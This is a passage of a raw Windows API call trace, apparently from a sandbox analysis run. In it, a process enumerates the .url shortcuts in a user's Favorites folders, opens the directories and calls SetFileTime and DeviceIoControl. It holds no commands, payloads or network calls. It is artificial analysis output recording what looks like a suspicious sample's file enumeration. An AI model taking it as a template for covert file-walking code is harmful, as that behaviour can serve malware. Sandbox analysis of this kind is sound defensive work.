ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="")) returned 1 [0090.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f58b8 [0090.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e490 [0090.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9780) returned 0x135c9e8 [0090.803] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="")) returned 1 [0090.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f58d8 [0090.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e9b8 [0090.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.804] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 1 [0090.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f58f8 [0090.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134ebc8 [0090.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 0 [0090.806] GetLastError () returned 0x12 [0090.806] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.806] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 1 [0090.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="")) returned 0 [0090.807] GetLastError () returned 0x12 [0090.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.807] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.808] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="")) returned 1 [0090.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0090.809] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.809] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.809] NtClose (Handle=0x178) returned 0x0 [0090.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.810] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.812] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.812] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="")) returned 1 [0090.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f20f8) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5918 [0090.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134eac0 [0090.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.814] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="")) returned 1 [0090.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5938 [0090.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f1f8 [0090.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="")) returned 1 [0090.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5958 [0090.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f408 [0090.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.818] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="")) returned 1 [0090.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5978 [0090.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f510 [0090.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.820] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0090.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5998 [0090.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f20f8 [0090.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.821] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 1 [0090.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f59b8 [0090.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f618 [0090.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 0 [0090.823] GetLastError () returned 0x12 [0090.823] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.823] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="")) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="")) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="")) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="")) returned 1 [0090.823] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0090.824] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 1 [0090.825] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="")) returned 0 [0090.825] GetLastError () returned 0x12 [0090.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 